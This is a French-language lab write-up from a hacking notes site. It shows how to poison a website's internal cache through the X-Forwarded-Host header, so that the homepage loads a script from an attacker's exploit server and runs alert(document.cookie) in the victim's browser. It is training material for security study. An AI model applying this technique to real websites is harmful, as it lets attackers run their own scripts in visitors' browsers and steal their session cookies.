> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/cache-poisoning/internal-cache-poisoning.md).

# Empoisonnement du cache interne

### Empoisonnement du cache interne

Ce laboratoire est vulnérable à l’empoisonnement du cache web et utilise plusieurs couches de cache. / Un utilisateur visite régulièrement la page d’accueil du site avec Chrome.

L’objectif est d’empoisonner le **cache interne** afin que la page d’accueil exécute `alert(document.cookie)` dans le navigateur de la victime.

**Analyse initiale**

Nous interceptons la requête vers la racine (`/`) et l’analysons avec **Param Miner**

<figure><img src="/files/700b4c6f1194d6e7ffd7e99e25793706e734e1c7" alt=""><figcaption></figcaption></figure>

**Observation du comportement**

Lorsque nous ajoutons l’en-tête suivant à la requête :

<figure><img src="/files/60e4b805c7a369534b1a13ffecb1dbc4c6f0b858" alt=""><figcaption></figcaption></figure>

Nous remarquons que la réponse du serveur reflète cette valeur.

```http
X-Forwarded-Host: test.com
```

<figure><img src="/files/9e8468cef6f61b0b69f553257a3918348070d3f1" alt=""><figcaption></figcaption></figure>

Cependant, cette modification n’est visible que si l’en-tête est conservé lors des requêtes internes.

En envoyant de nombreuses requêtes avec cet en-tête, le serveur finit par **mettre en cache la réponse interne**.

\*\* Impact sur le contenu mis en cache\*\*

Un script chargé initialement sous la forme :

{% code overflow="wrap" %}

```html
<script src=
//0a3e00ba04f2869b810cbcb30088000a.web-security-academy.net/js/geolocate.js?callback=loadCountry>
</script>
```

{% endcode %}

Après l’empoisonnement du cache, il est transformé en :

```html
<script src=
//test.com/js/geolocate.js?callback=loadCountry>
</script>
```

```javascript
<script>alert(document.cookie)</script>
```

<figure><img src="/files/08601760c4c3270e1a093b824c52d73324d0a961" alt=""><figcaption></figcaption></figure>

La source du script dépend désormais de la valeur injectée via `X-Forwarded-Host`.

```http
X-Forwarded-Host: exploit-0a27006104d786ef8150bbc601bd0070.exploit-server.net
```

Le cache interne est empoisonné avec une réponse malveillante. / Lorsque la victime visite la page d’accueil, le navigateur charge le script depuis notre serveur, ce qui entraîne l’exécution de :

```javascript
alert(document.cookie)
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/cache-poisoning/internal-cache-poisoning.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
